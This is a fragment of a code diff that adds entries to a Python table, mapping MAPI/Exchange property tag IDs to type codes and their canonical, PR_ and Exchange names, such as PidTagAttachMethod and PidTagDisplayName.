+        0x370d: (0x001f, None, None, 4, "PidTagAttachLongPathname", "PR_ATTACH_LONG_PATHNAME", "AttachLongPathName"),
+        0x7fff: (0x000b, None, None, 4, "PidTagAttachmentContactPhoto", "PR_ATTACHMENT_CONTACTPHOTO", "IsContactPhoto"),
+        0x7ffd: (0x0003, None, None, 4, "PidTagAttachmentFlags", "PR_ATTACHMENT_FLAGS", "AttachmentCalendarFlags"),
+        0x7ffe: (0x000b, None, None, 4, "PidTagAttachmentHidden", "PR_ATTACHMENT_HIDDEN", "AttachmentCalendarHidden"),
+        0x7ffa: (0x0003, None, None, 4, "PidTagAttachmentLinkId", "PR_ATTACHMENT_LINKID", "AttachmentCalendarLinkId"),
+        0x3705: (0x0003, None, None, 4, "PidTagAttachMethod", "PR_ATTACH_METHOD", "AttachMethod"),
+        0x370e: (0x001f, None, None, 4, "PidTagAttachMimeTag", "PR_ATTACH_MIME_TAG", "AttachMimeTag"),
+        0x0e21: (0x0003, None, None, 4, "PidTagAttachNumber", "PR_ATTACH_NUM", "AttachNum"),
+        0x3708: (0x001f, None, None, 4, "PidTagAttachPathname", "PR_ATTACH_PATHNAME", "AttachPathName"),
+        0x371a: (0x001f, None, None, 4, "PidTagAttachPayloadClass", "PR_ATTACH_PAYLOAD_CLASS", "AttachmentPayloadClass"),
+        0x3719: (0x001f, None, None, 4, "PidTagAttachPayloadProviderGuidString", "PR_ATTACH_PAYLOAD_PROV_GUID_STR", "AttachmentPayloadProviderGuidString"),
+        0x3709: (0x0102, None, None, 4, "PidTagAttachRendering", "PR_ATTACH_RENDERING", "AttachRendering"),
+        0x0e20: (0x0003, None, None, 4, "PidTagAttachSize", "PR_ATTACH_SIZE", "AttachSize"),
+        0x370a: (0x0102, None, None, 4, "PidTagAttachTag", "PR_ATTACH_TAG", "AttachTag"),
+        0x370c: (0x001f, None, None, 4, "PidTagAttachTransportName", "PR_ATTACH_TRANSPORT_NAME", "AttachTransportName"),
+        0x10f4: (0x000b, None, None, 4, "PidTagAttributeHidden", "PR_ATTR_HIDDEN", "AttrHidden"),
+        0x10f6: (0x000b, None, None, 4, "PidTagAttributeReadOnly", "PR_ATTR_READONLY", "AttrReadOnly"),
+        0x3fdf: (0x0003, None, None, 4, "PidTagAutoResponseSuppress", "PR_AUTO_RESPONSE_SUPPRESS", "AutoResponseSuppress"),
+        0x3a42: (0x0040, None, None, 4, "PidTagBirthday", "PR_BIRTHDAY", "Birthday"),
+        0x1096: (0x0003, None, None, 4, "PidTagBlockStatus", "PR_BLOCK_STATUS", "BlockStatus"),
+        0x1015: (0x001f, None, None, 4, "PidTagBodyContentId", "PR_BODY_CONTENT_ID", "BodyContentId"),
+        0x1014: (0x001f, None, None, 4, "PidTagBodyContentLocation", "PR_BODY_CONTENT_LOCATION", "BodyContentLocation"),
+        0x1013: (0x0102, None, None, 4, "PidTagHtml", "PR_HTML", "BodyHtml"),
+        0x3a24: (0x001f, None, None, 4, "PidTagBusinessFaxNumber", "PR_BUSINESS_FAX_NUMBER", "BusinessFaxNumber"),
+        0x3a51: (0x001f, None, None, 4, "PidTagBusinessHomePage", "PR_BUSINESS_HOME_PAGE", "BusinessHomePage"),
+        0x3a02: (0x001f, None, None, 4, "PidTagCallbackTelephoneNumber", "PR_CALLBACK_TELEPHONE_NUMBER", "CallbackTelephoneNumber"),
+        0x6806: (0x001f, None, None, 4, "PidTagCallId", "InternalSchemaCallID", "MailboxMiscFlags"),
+        0x3a1e: (0x001f, None, None, 4, "PidTagCarTelephoneNumber", "PR_CAR_TELEPHONE_NUMBER", "CarTelephoneNumber"),
+        0x10c5: (0x0040, None, None, 4, "PidTagCdoRecurrenceid", "PR_CDO_RECURRENCEID", None),
+        0x65e2: (0x0102, None, None, 4, "PidTagChangeKey", "PR_CHANGE_KEY", "ChangeKey"),
+        0x67a4: (0x0014, None, None, 4, "PidTagChangeNumber", "ptagCn", "Cn"),
+        0x3a58: (0x101f, None, None, 4, "PidTagChildrensNames", "PR_CHILDRENS_NAMES", "ChildrensNames"),
+        0x6645: (0x0102, None, None, 4, "PidTagClientActions", "PR_CLIENT_ACTIONS", "PromotedProperties"),
+        0x0039: (0x0040, None, None, 4, "PidTagClientSubmitTime", "PR_CLIENT_SUBMIT_TIME", "ClientSubmitTime"),
+        0x66c3: (0x0003, None, None, 4, "PidTagCodePageId", "PR_CODE_PAGE_ID", "CodePageId"),
+        0x3a57: (0x001f, None, None, 4, "PidTagCompanyMainTelephoneNumber", "PR_COMPANY_MAIN_PHONE_NUMBER", "CompanyMainPhoneNumber"),
+        0x3a49: (0x001f, None, None, 4, "PidTagComputerNetworkName", "PR_COMPUTER_NETWORK_NAME", "ComputerNetworkName"),
+        0x3ff0: (0x0102, None, None, 4, "PidTagConflictEntryId", "PR_CONFLICT_ENTRYID", "BackfillTimeout"),
+        0x3613: (0x001f, None, None, 4, "PidTagContainerClass", "PR_CONTAINER_CLASS", "ContainerClass"),
+        0x360f: (0x000d, None, None, 4, "PidTagContainerContents", "PR_CONTAINER_CONTENTS", "ContainerContents"),
+        0x3600: (0x0003, None, None, 4, "PidTagContainerFlags", "PR_CONTAINER_FLAGS", "ContainerFlags"),
+        0x360e: (0x000d, None, None, 4, "PidTagContainerHierarchy", "PR_CONTAINER_HIERARCHY", "ContainerHierarchy"),
+        0x3602: (0x0003, None, None, 4, "PidTagContentCount", "PR_CONTENT_COUNT", "ContentCount"),
+        0x4076: (0x0003, None, None, 4, "PidTagContentFilterSpamConfidenceLevel", "PR_CONTENT_FILTER_SCL", "SpamConfidenceLevel"),
+        0x3603: (0x0003, None, None, 4, "PidTagContentUnreadCount", "PR_CONTENT_UNREAD", "ContentUnread"),
+        0x3013: (0x0102, None, None, 4, "PidTagConversationId", "PR_CONVERSATION_ID", "ConversationId"),
+        0x0071: (0x0102, None, None, 4, "PidTagConversationIndex", "PR_CONVERSATION_INDEX", "ConversationIndex"),
+        0x3016: (0x000b, None, None, 4, "PidTagConversationIndexTracking", "PR_CONVERSATION_INDEX_TRACKING", "ConversationIndexTracking"),
+        0x0070: (0x001f, None, None, 4, "PidTagConversationTopic", "PR_CONVERSATION_TOPIC", "ConversationTopic"),
+        0x3ff9: (0x0102, None, None, 4, "PidTagCreatorEntryId", "PR_CREATOR_ENTRYID", "CreatorEntryId"),
+        0x3ff8: (0x001f, None, None, 4, "PidTagCreatorName", "PR_CREATOR_NAME", "CreatorName"),
+        0x3a4a: (0x001f, None, None, 4, "PidTagCustomerId", "PR_CUSTOMER_ID", "CustomerId"),
+        0x6647: (0x000b, None, None, 4, "PidTagDamBackPatched", "PR_DAM_BACK_PATCHED", "DeferredActionMessageBackPatched"),
+        0x6646: (0x0102, None, None, 4, "PidTagDamOriginalEntryId", "PR_DAM_ORIGINAL_ENTRYID", "HiddenPromotedProperties"),
+        0x36e5: (0x001f, None, None, 4, "PidTagDefaultPostMessageClass", "PR_DEF_POST_MSGCLASS", "DefaultPostMsgClass"),
+        0x6741: (0x00fb, None, None, 4, "PidTagDeferredActionMessageOriginalEntryId", "PR_DAM_ORIG_MSG_SVREID", "OriginalMessageSvrEId"),
+        0x3feb: (0x0003, None, None, 4, "PidTagDeferredSendNumber", "PR_DEFERRED_SEND_NUMBER", "DeferredSendNumber"),
+        0x3fef: (0x0040, None, None, 4, "PidTagDeferredSendTime", "PR_DEFERRED_SEND_TIME", "DeferredSendTime"),
+        0x3fec: (0x0003, None, None, 4, "PidTagDeferredSendUnits", "PR_DEFERRED_SEND_UNITS", "DeferredSendUnits"),
+        0x3fe3: (0x000b, None, None, 4, "PidTagDelegatedByRule", "PR_DELEGATED_BY_RULE", "OofHistory"),
+        0x686b: (0x1003, None, None, 4, "PidTagDelegateFlags", "PR_DELEGATE_FLAGS", "DelegateFlags"),
+        0x0e01: (0x000b, None, None, 4, "PidTagDeleteAfterSubmit", "PR_DELETE_AFTER_SUBMIT", "DeleteAfterSubmit"),
+        0x670b: (0x0003, None, None, 4, "PidTagDeletedCountTotal", "PR_DELETED_COUNT_TOTAL", "DeletedCountTotal"),
+        0x668f: (0x0040, None, None, 4, "PidTagDeletedOn", "PR_DELETED_ON", "DeletedOn"),
+        0x3005: (0x0003, None, None, 4, "PidTagDepth", "PR_DEPTH", "Depth"),
+        0x0e02: (0x001f, None, None, 4, "PidTagDisplayBcc", "PR_DISPLAY_BCC", "DisplayBcc"),
+        0x0e03: (0x001f, None, None, 4, "PidTagDisplayCc", "PR_DISPLAY_CC", "DisplayCc"),
+        0x3001: (0x001f, None, None, 4, "PidTagDisplayName", "PR_DISPLAY_NAME", "DisplayName"),
+        0x3a45: (0x001f, None, None, 4, "PidTagDisplayNamePrefix", "PR_DISPLAY_NAME_PREFIX", "DisplayNamePrefix"),
+        0x0e04: (0x001f, None, None, 4, "PidTagDisplayTo", "PR_DISPLAY_TO", "DisplayTo"),
+        0x3900: (0x0003, None, None, 4, "PidTagDisplayType", "PR_DISPLAY_TYPE", "DisplayType"),
+        0x3003: (0x001f, None, None, 4, "PidTagEmailAddress", "PR_EMAIL_ADDRESS", "EmailAddress"),
+        0x0061: (0x0040, None, None, 4, "PidTagEndDate", "PR_END_DATE", "EndDate"),
+        0x0fff: (0x0102, None, None, 4, "PidTagEntryId", "PR_ENTRYID", "EntryId"),
+        0x7ffc: (0x0040, None, None, 4, "PidTagExceptionEndTime", "PR_EXCEPTION_ENDTIME", "AppointmentExceptionEndTime"),
+        0x7ff9: (0x0040, None, None, 4, "PidTagExceptionReplaceTime", "PR_EXCEPTION_REPLACETIME", "SExceptionReplaceTime"),
+        0x7ffb: (0x0040, None, None, 4, "PidTagExceptionStartTime", "PR_EXCEPTION_STARTTIME", "AppointmentExceptionStartTime"),
+        0x0e84: (0x0102, None, None, 4, "PidTagExchangeNTSecurityDescriptor", "http://schemas.microsoft.com/exchange/ntsecuritydescriptor", None),
+        0x3fed: (0x0003, None, None, 4, "PidTagExpiryNumber", "PR_EXPIRY_NUMBER", "ExpiryNumber"),
+        0x3fee: (0x0003, None, None, 4, "PidTagExpiryUnits", "PR_EXPIRY_UNITS", "ExpiryUnits"),
+        0x36da: (0x0102, None, None, 4, "PidTagExtendedFolderFlags", "PR_EXTENDED_FOLDER_FLAGS", "ExtendedFolderFlags"),
+        0x0e99: (0x0102, None, None, 4, "PidTagExtendedRuleMessageActions", "PR_EXTENDED_RULE_MSG_ACTIONS", "ExtendedRuleActions"),
+        0x0e9a: (0x0102, None, None, 4, "PidTagExtendedRuleMessageCondition", "PR_EXTENDED_RULE_MSG_CONDITION", "ExtendedRuleCondition"),
+        0x0e9b: (0x0003, None, None, 4, "PidTagExtendedRuleSizeLimit", "PR_EXTENDED_RULE_SIZE_LIMIT", "ExtendedRuleSizeLimit"),
+        0x6804: (0x001e, None, None, 4, "PidTagOfflineAddressBookDistinguishedName", "PR_OAB_DN", "ShutoffQuota"),
+        0x1091: (0x0040, None, None, 4, "PidTagFlagCompleteTime", "PR_FLAG_COMPLETE_TIME", "FlagCompleteTime"),
+        0x1090: (0x0003, None, None, 4, "PidTagFlagStatus", "PR_FLAG_STATUS", "FlagStatus"),
+        0x670e: (0x001f, None, None, 4, "PidTagFlatUrlName", "PR_FLAT_URL_NAME", None),
+        0x3610: (0x000d, None, None, 4, "PidTagFolderAssociatedContents", "PR_FOLDER_ASSOCIATED_CONTENTS", "FolderAssociatedContents"),
+        0x6748: (0x0014, None, None, 4, "PidTagFolderId", "ptagFID", "Fid"),
+        0x66a8: (0x0003, None, None, 4, "PidTagFolderFlags", "PR_FOLDER_FLAGS", "FolderFlags"),
+        0x3601: (0x0003, None, None, 4, "PidTagFolderType", "PR_FOLDER_TYPE", "FolderType"),
+        0x1095: (0x0003, None, None, 4, "PidTagFollowupIcon", "PR_FOLLOWUP_ICON", "FollowupIcon"),
+        0x6869: (0x0003, None, None, 4, "PidTagFreeBusyCountMonths", "PR_FREEBUSY_COUNT_MONTHS", "OutlookFreeBusyMonthCount"),
+        0x36e4: (0x1102, None, None, 4, "PidTagFreeBusyEntryIds", "PR_FREEBUSY_ENTRYIDS", "FreeBusyEntryIds"),
+        0x6849: (0x0003, None, None, 4, "PidTagWlinkType", None, "ScheduleInfoRecipientLegacyDn"),
+        0x6848: (0x0003, None, None, 4, "PidTagSearchFolderEfpFlags", "PR_WB_SF_EFP_FLAGS", "AssociatedSearchFolderFlags"),
+        0x6847: (0x0003, None, None, 4, "PidTagWlinkSaveStamp", None, "AssociatedSearchFolderTag"),
+        0x6868: (0x0040, None, None, 4, "PidTagFreeBusyRangeTimestamp", "PR_FREEBUSY_RANGE_TIMESTAMP", None),
+        0x3a4c: (0x001f, None, None, 4, "PidTagFtpSite", "PR_FTP_SITE", "FtpSite"),
+        0x6846: (0x0003, None, None, 4, "PidTagSearchFolderStorageType", "PR_WB_SF_STORAGE_TYPE", "AssociatedSearchFolderStorageType"),
+        0x3a4d: (0x0002, None, None, 4, "PidTagGender", "PR_GENDER", "Gender"),
+        0x3a05: (0x001f, None, None, 4, "PidTagGeneration", "PR_GENERATION", "Generation"),
+        0x3a07: (0x001f, None, None, 4, "PidTagGovernmentIdNumber", "PR_GOVERNMENT_ID_NUMBER", "GovernmentIdNumber"),
+        0x0e1b: (0x000b, None, None, 4, "PidTagHasAttachments", "PR_HASATTACH", "Hasattach"),
+        0x3fea: (0x000b, None, None, 4, "PidTagHasDeferredActionMessages", "PR_HAS_DAMS", "HasDeferredActionMessage"),
+        0x664a: (0x000b, None, None, 4, "PidTagHasNamedProperties", "PR_HAS_NAMED_PROPERTIES", "HasNamedProperties"),
+        0x663a: (0x000b, None, None, 4, "PidTagHasRules", "PR_HAS_RULES", "HasRules"),
+        0x663e: (0x0003, None, None, 4, "PidTagHierarchyChangeNumber", "PR_HIERARCHY_CHANGE_NUM", "HierarchyChangeNumber"),
+        0x4082: (0x0040, None, None, 4, "PidTagHierRev", "PR_HIER_REV", "HierRev"),
+        0x3a43: (0x001f, None, None, 4, "PidTagHobbies", "PR_HOBBIES", "Hobbies"),
+        0x3a59: (0x001f, None, None, 4, "PidTagHomeAddressCity", "PR_HOME_ADDRESS_CITY", "HomeAddressCity"),
+        0x3a5a: (0x001f, None, None, 4, "PidTagHomeAddressCountry", "PR_HOME_ADDRESS_COUNTRY", "HomeAddressCountry"),
+        0x3a5b: (0x001f, None, None, 4, "PidTagHomeAddressPostalCode", "PR_HOME_ADDRESS_POSTAL_CODE", "HomeAddressPostalCode"),
+        0x3a5e: (0x001f, None, None, 4, "PidTagHomeAddressPostOfficeBox", "PR_HOME_ADDRESS_POST_OFFICE_BOX", "HomeAddressPostOfficeBox"),
+        0x3a5c: (0x001f, None, None, 4, "PidTagHomeAddressStateOrProvince", "PR_HOME_ADDRESS_STATE_OR_PROVINCE", "HomeAddressStateOrProvince"),
+        0x3a25: (0x001f, None, None, 4, "PidTagHomeFaxNumber", "PR_HOME_FAX_NUMBER", "HomeFaxNumber"),
+        0x10c4: (0x0040, None, None, 4, "PidTagICalendarEndTime", "urn:schemas:calendar:dtend", None),
+        0x10ca: (0x0040, None, None, 4, "PidTagICalendarReminderNextTime", "urn:schemas:calendar:remindernexttime", None),
+        0x10c3: (0x0040, None, None, 4, "PidTagICalendarStartTime", "urn:schemas:calendar:dtstart", None),
+        0x1080: (0x0003, None, None, 4, "PidTagIconIndex", "PR_ICON_INDEX", "IconIndex"),
+        0x666c: (0x000b, None, None, 4, "PidTagInConflict", "PR_IN_CONFLICT", "AttachmentInConflict"),
+        0x3f08: (0x0003, None, None, 4, "PidTagInitialDetailsPane", "PR_INITIAL_DETAILS_PANE", "InitialDetailsPane"),
+        0x1042: (0x001f, None, None, 4, "PidTagInReplyToId", "PR_IN_REPLY_TO_ID", "InReplyTo"),
+        0x0ff6: (0x0102, None, None, 4, "PidTagInstanceKey", "PR_INSTANCE_KEY", "InstanceKey"),
+        0x674e: (0x0003, None, None, 4, "PidTagInstanceNum", "ptagInstanceNum", "InstanceNum"),
+        0x674d: (0x0014, None, None, 4, "PidTagInstID", "ptagInstID", "InstanceId"),
+        0x3fde: (0x0003, None, None, 4, "PidTagInternetCodepage", "PR_INTERNET_CPID", "InternetCPID"),
+        0x5902: (0x0003, None, None, 4, "PidTagInternetMailOverrideFormat", "PR_INETMAIL_OVERRIDE_FORMAT", "INetMailOverrideFormat"),
+        0x1035: (0x001f, None, None, 4, "PidTagInternetMessageId", "PR_INTERNET_MESSAGE_ID", "InternetMessageId"),
+        0x1039: (0x001f, None, None, 4, "PidTagInternetReferences", "PR_INTERNET_REFERENCES", "InternetReferences"),
+        0x36d0: (0x0102, None, None, 4, "PidTagIpmAppointmentEntryId", "PR_IPM_APPOINTMENT_ENTRYID", "CalendarFolderEntryId"),
+        0x36d1: (0x0102, None, None, 4, "PidTagIpmContactEntryId", "PR_IPM_CONTACT_ENTRYID", "ContactsFolderEntryId"),
+        0x36d7: (0x0102, None, None, 4, "PidTagIpmDraftsEntryId", "PR_IPM_DRAFTS_ENTRYID", "DraftsFolderEntryId"),
+        0x36d2: (0x0102, None, None, 4, "PidTagIpmJournalEntryId", "PR_IPM_JOURNAL_ENTRYID", "JournalFolderEntryId"),
+        0x36d3: (0x0102, None, None, 4, "PidTagIpmNoteEntryId", "PR_IPM_NOTE_ENTRYID", "NotesFolderEntryId"),
+        0x36d4: (0x0102, None, None, 4, "PidTagIpmTaskEntryId", "PR_IPM_TASK_ENTRYID", "TasksFolderEntryId"),
+        0x3a2d: (0x001f, None, None, 4, "PidTagIsdnNumber", "PR_ISDN_NUMBER", "IsdnNumber"),
+        0x6103: (0x0003, None, None, 4, "PidTagJunkAddRecipientsToSafeSendersList", "PR_JUNK_ADD_RECIPS_TO_SSL", None),
+        0x6100: (0x0003, None, None, 4, "PidTagJunkIncludeContacts", "PR_JUNK_INCLUDE_CONTACTS", "JunkIncludeContacts"),
+        0x6102: (0x0003, None, None, 4, "PidTagJunkPermanentlyDelete", "PR_JUNK_PERMANENTLY_DELETE", None),
+        0x6107: (0x000b, None, None, 4, "PidTagJunkPhishingEnableLinks", "PR_JUNK_PHISHING_ENABLE_LINKS", None),
+        0x6101: (0x0003, None, None, 4, "PidTagJunkThreshold", "PR_JUNK_THRESHOLD", "JunkThreshold"),
+        0x3a0b: (0x001f, None, None, 4, "PidTagKeyword", "PR_KEYWORD", "Keyword"),
+        0x3a0c: (0x001f, None, None, 4, "PidTagLanguage", "PR_LANGUAGE", "Language"),
+        0x3ffb: (0x0102, None, None, 4, "PidTagLastModifierEntryId", "PR_LAST_MODIFIER_ENTRYID", "LastModifierEntryId"),
+        0x3ffa: (0x001f, None, None, 4, "PidTagLastModifierName", "PR_LAST_MODIFIER_NAME", "LastModifierName"),
+        0x1081: (0x0003, None, None, 4, "PidTagLastVerbExecuted", "PR_LAST_VERB_EXECUTED", "LastVerbExecuted"),
+        0x1082: (0x0040, None, None, 4, "PidTagLastVerbExecutionTime", "PR_LAST_VERB_EXECUTION_TIME", "LastVerbExecutionTime"),
+        0x1043: (0x001f, None, None, 4, "PidTagListHelp", "PR_LIST_HELP", "ListHelp"),
+        0x1044: (0x001f, None, None, 4, "PidTagListSubscribe", "PR_LIST_SUBSCRIBE", "ListSubscribe"),
+        0x1045: (0x001f, None, None, 4, "PidTagListUnsubscribe", "PR_LIST_UNSUBSCRIBE", "ListUnsubscribe"),
+        0x6709: (0x0040, None, None, 4, "PidTagLocalCommitTime", "PR_LOCAL_COMMIT_TIME", "LocalCommitTime"),
+        0x670a: (0x0040, None, None, 4, "PidTagLocalCommitTimeMax", "PR_LOCAL_COMMIT_TIME_MAX", "LocalCommitTimeMax"),
+        0x66a1: (0x0003, None, None, 4, "PidTagLocaleId", "PR_LOCALE_ID", "LocaleId"),
+        0x3a0d: (0x001f, None, None, 4, "PidTagLocation", "PR_LOCATION", "Location"),
+        0x661b: (0x0102, None, None, 4, "PidTagMailboxOwnerEntryId", "PR_MAILBOX_OWNER_ENTRYID", "InternetRFC821From"),
+        0x661c: (0x001f, None, None, 4, "PidTagMailboxOwnerName", "PR_MAILBOX_OWNER_NAME", "MailboxOwnerName"),
+        0x3a4e: (0x001f, None, None, 4, "PidTagManagerName", "PR_MANAGER_NAME", "ManagerName"),
+        0x0ff8: (0x0102, None, None, 4, "PidTagMappingSignature", "PR_MAPPING_SIGNATURE", "MappingSignature"),
+        0x666d: (0x0003, None, None, 4, "PidTagMaximumSubmitMessageSize", "PR_MAX_SUBMIT_MESSAGE_SIZE", "SearchAttachments"),
+        0x6671: (0x0014, None, None, 4, "PidTagMemberId", "PR_MEMBER_ID", "MemberId"),
+        0x6672: (0x001f, None, None, 4, "PidTagMemberName", "PR_MEMBER_NAME", "MemberName"),
+        0x6673: (0x0003, None, None, 4, "PidTagMemberRights", "PR_MEMBER_RIGHTS", "MemberRights"),
+        0x0e13: (0x000d, None, None, 4, "PidTagMessageAttachments", "PR_MESSAGE_ATTACHMENTS", "MessageAttachments"),
+        0x0058: (0x000b, None, None, 4, "PidTagMessageCcMe", "PR_MESSAGE_CC_ME", "MessageCcMe"),
+        0x3ffd: (0x0003, None, None, 4, "PidTagMessageCodepage", "PR_MESSAGE_CODEPAGE", "MessageCodePage"),
+        0x0e06: (0x0040, None, None, 4, "PidTagMessageDeliveryTime", "PR_MESSAGE_DELIVERY_TIME", "MessageDeliveryTime"),
+        0x5909: (0x0003, None, None, 4, "PidTagMessageEditorFormat", "PR_MSG_EDITOR_FORMAT", "MessageEditorFormat"),
+        0x0e07: (0x0003, None, None, 4, "PidTagMessageFlags", "PR_MESSAGE_FLAGS", "MessageFlags"),
+        0x3ff1: (0x0003, None, None, 4, "PidTagMessageLocaleId", "PR_MESSAGE_LOCALE_ID", "MessageLocaleId"),
+        0x0059: (0x000b, None, None, 4, "PidTagMessageRecipientMe", "PR_MESSAGE_RECIP_ME", "MessageRecipMe"),
+        0x0e12: (0x000d, None, None, 4, "PidTagMessageRecipients", "PR_MESSAGE_RECIPIENTS", "MessageRecipients"),
+        0x0e08: (0x0014, None, None, 4, "PidTagMessageSizeExtended", "PR_MESSAGE_SIZE_EXTENDED", "MessageSize"),
+        0x0e17: (0x0003, None, None, 4, "PidTagMessageStatus", "PR_MSG_STATUS", "MsgStatus"),
+        0x0047: (0x0102, None, None, 4, "PidTagMessageSubmissionId", "PR_MESSAGE_SUBMISSION_ID", "MessageSubmissionId"),
+        0x0057: (0x000b, None, None, 4, "PidTagMessageToMe", "PR_MESSAGE_TO_ME", "MessageToMe"),
+        0x674a: (0x0014, None, None, 4, "PidTagMid", "ptagMID", "Mid"),
+        0x3a44: (0x001f, None, None, 4, "PidTagMiddleName", "PR_MIDDLE_NAME", "MiddleName"),
+        0x64f0: (0x0102, None, None, 4, "PidTagMimeSkeleton", "ptagMimeSkeleton", "MimeSkeleton"),
+        0x1016: (0x0003, None, None, 4, "PidTagNativeBody", "PR_NATIVE_BODY_INFO", "NativeBodyInfo"),
+        0x0e29: (0x001f, None, None, 4, "PidTagNextSendAcct", "PR_NEXT_SEND_ACCT", "NextSendAccount"),
+        0x3a4f: (0x001f, None, None, 4, "PidTagNickname", "PR_NICKNAME", "Nickname"),
+        0x0c05: (0x0003, None, None, 4, "PidTagNonDeliveryReportDiagCode", "PR_NDR_DIAG_CODE", "NdrDiagCode"),
+        0x0c04: (0x0003, None, None, 4, "PidTagNonDeliveryReportReasonCode", "PR_NDR_REASON_CODE", "NdrReasonCode"),
+        0x0c20: (0x0003, None, None, 4, "PidTagNonDeliveryReportStatusCode", "PR_NDR_STATUS_CODE", "NDRStatusCode"),
+        0x0c06: (0x000b, None, None, 4, "PidTagNonReceiptNotificationRequested", "PR_NON_RECEIPT_NOTIFICATION_REQUESTED", "NonReceiptNotificationRequested"),
+        0x0e1d: (0x001f, None, None, 4, "PidTagNormalizedSubject", "PR_NORMALIZED_SUBJECT", "NormalizedSubject"),
+        0x0ffe: (0x0003, None, None, 4, "PidTagObjectType", "PR_OBJECT_TYPE", "ObjectType"),
+        0x6802: (0x001f, None, None, 4, "PidTagSenderTelephoneNumber", "InternalSchemaSenderTelephoneNumber", "SenderTelephoneNumber"),
+        0x6803: (0x001f, None, None, 4, "PidTagVoiceMessageSenderName", "InternalSchemaVoiceMessageSenderName", "SendOutlookRecallReport"),
+        0x6800: (0x001f, None, None, 4, "PidTagOfflineAddressBookName", "PR_OAB_NAME", None),
+        0x6801: (0x0003, None, None, 4, "PidTagVoiceMessageDuration", "InternalSchemaVoiceMessageDuration", "VoiceMessageDuration"),
+        0x6805: (0x001f, None, None, 4, "PidTagVoiceMessageAttachmentOrder", "InternalSchemaVoiceMessageAttachmentOrder", "VoiceMessageAttachmentOrder"),
+        0x36e2: (0x0003, None, None, 4, "PidTagOrdinalMost", "PR_ORDINAL_MOST", None),
+        0x3a10: (0x001f, None, None, 4, "PidTagOrganizationalIdNumber", "PR_ORGANIZATIONAL_ID_NUMBER", "OrganizationalIdNumber"),
+        0x004c: (0x0102, None, None, 4, "PidTagOriginalAuthorEntryId", "PR_ORIGINAL_AUTHOR_ENTRYID", "OriginalAuthorEntryId"),
+        0x004d: (0x001f, None, None, 4, "PidTagOriginalAuthorName", "PR_ORIGINAL_AUTHOR_NAME_W", "OriginalAuthorName"),
+        0x0055: (0x0040, None, None, 4, "PidTagOriginalDeliveryTime", "PR_ORIGINAL_DELIVERY_TIME", "OriginalDeliveryTime"),
+        0x0072: (0x001f, None, None, 4, "PidTagOriginalDisplayBcc", "PR_ORIGINAL_DISPLAY_BCC", "OriginalDisplayBcc"),
+        0x0073: (0x001f, None, None, 4, "PidTagOriginalDisplayCc", "PR_ORIGINAL_DISPLAY_CC", "OriginalDisplayCc"),
+        0x0074: (0x001f, None, None, 4, "PidTagOriginalDisplayTo", "PR_ORIGINAL_DISPLAY_TO", "OriginalDisplayTo"),
+        0x3a12: (0x0102, None, None, 4, "PidTagOriginalEntryId", "PR_ORIGINAL_ENTRYID", "OriginalEntryId"),
+        0x004b: (0x001f, None, None, 4, "PidTagOriginalMessageClass", "PR_ORIG_MESSAGE_CLASS", "OrigMessageClass"),
+        0x1046: (0x001f, None, None, 4, "PidTagOriginalMessageId", "ptagOriginalInternetMessageID", "OriginalInternetMessageId"),
+        0x0066: (0x001f, None, None, 4, "PidTagOriginalSenderAddressType", "PR_ORIGINAL_SENDER_ADDRTYPE", "OriginalSenderAddrType"),
+        0x0067: (0x001f, None, None, 4, "PidTagOriginalSenderEmailAddress", "PR_ORIGINAL_SENDER_EMAIL_ADDRESS", "OriginalSenderEmailAddress"),
+        0x005b: (0x0102, None, None, 4, "PidTagOriginalSenderEntryId", "PR_ORIGINAL_SENDER_ENTRYID", "OriginalSenderEntryId"),
+        0x005a: (0x001f, None, None, 4, "PidTagOriginalSenderName", "PR_ORIGINAL_SENDER_NAME", "OriginalSenderName"),
+        0x005c: (0x0102, None, None, 4, "PidTagOriginalSenderSearchKey", "PR_ORIGINAL_SENDER_SEARCH_KEY", "OriginalSenderSearchKey"),
+        0x002e: (0x0003, None, None, 4, "PidTagOriginalSensitivity", "PR_ORIGINAL_SENSITIVITY", "OriginalSensitivity"),
+        0x0068: (0x001f, None, None, 4, "PidTagOriginalSentRepresentingAddressType", "PR_ORIGINAL_SENT_REPRESENTING_ADDRTYPE", "OriginalSentRepresentingAddrType"),
+        0x0069: (0x001f, None, None, 4, "PidTagOriginalSentRepresentingEmailAddress", "PR_ORIGINAL_SENT_REPRESENTING_EMAIL_ADDRESS", "OriginalSentRepresentingEmailAddress"),
+        0x005e: (0x0102, None, None, 4, "PidTagOriginalSentRepresentingEntryId", "PR_ORIGINAL_SENT_REPRESENTING_ENTRYID", "OriginalSentRepresentingEntryId"),
+        0x005d: (0x001f, None, None, 4, "PidTagOriginalSentRepresentingName", "PR_ORIGINAL_SENT_REPRESENTING_NAME", "OriginalSentRepresentingName"),
+        0x005f: (0x0102, None, None, 4, "PidTagOriginalSentRepresentingSearchKey", "PR_ORIGINAL_SENT_REPRESENTING_SEARCH_KEY", "OriginalSentRepresentingSearchKey"),
+        0x0049: (0x001f, None, None, 4, "PidTagOriginalSubject", "PR_ORIGINAL_SUBJECT", "OriginalSubject"),
+        0x004e: (0x0040, None, None, 4, "PidTagOriginalSubmitTime", "PR_ORIGINAL_SUBMIT_TIME", "OriginalSubmitTime"),
+        0x0c08: (0x000b, None, None, 4, "PidTagOriginatorNonDeliveryReportRequested", "PR_ORIGINATOR_NON_DELIVERY_REPORT_REQUESTED", "OriginatorNonDeliveryReportRequested"),
+        0x7c24: (0x000b, None, None, 4, "PidTagOscSyncEnabled", "PR_OSC_SYNC_ENABLEDONSERVER", "OscSyncEnabledOnServer"),
+        0x3a5f: (0x001f, None, None, 4, "PidTagOtherAddressCity", "PR_OTHER_ADDRESS_CITY", "OtherAddressCity"),
+        0x3a60: (0x001f, None, None, 4, "PidTagOtherAddressCountry", "PR_OTHER_ADDRESS_COUNTRY", "OtherAddressCountry"),
+        0x3a61: (0x001f, None, None, 4, "PidTagOtherAddressPostalCode", "PR_OTHER_ADDRESS_POSTAL_CODE", "OtherAddressPostalCode"),
+        0x3a64: (0x001f, None, None, 4, "PidTagOtherAddressPostOfficeBox", "PR_OTHER_ADDRESS_POST_OFFICE_BOX", "OtherAddressPostOfficeBox"),
+        0x3a62: (0x001f, None, None, 4, "PidTagOtherAddressStateOrProvince", "PR_OTHER_ADDRESS_STATE_OR_PROVINCE", "OtherAddressStateOrProvince"),
+        0x3a63: (0x001f, None, None, 4, "PidTagOtherAddressStreet", "PR_OTHER_ADDRESS_STREET", "OtherAddressStreet"),
+        0x3a1f: (0x001f, None, None, 4, "PidTagOtherTelephoneNumber", "PR_OTHER_TELEPHONE_NUMBER", "OtherTelephoneNumber"),
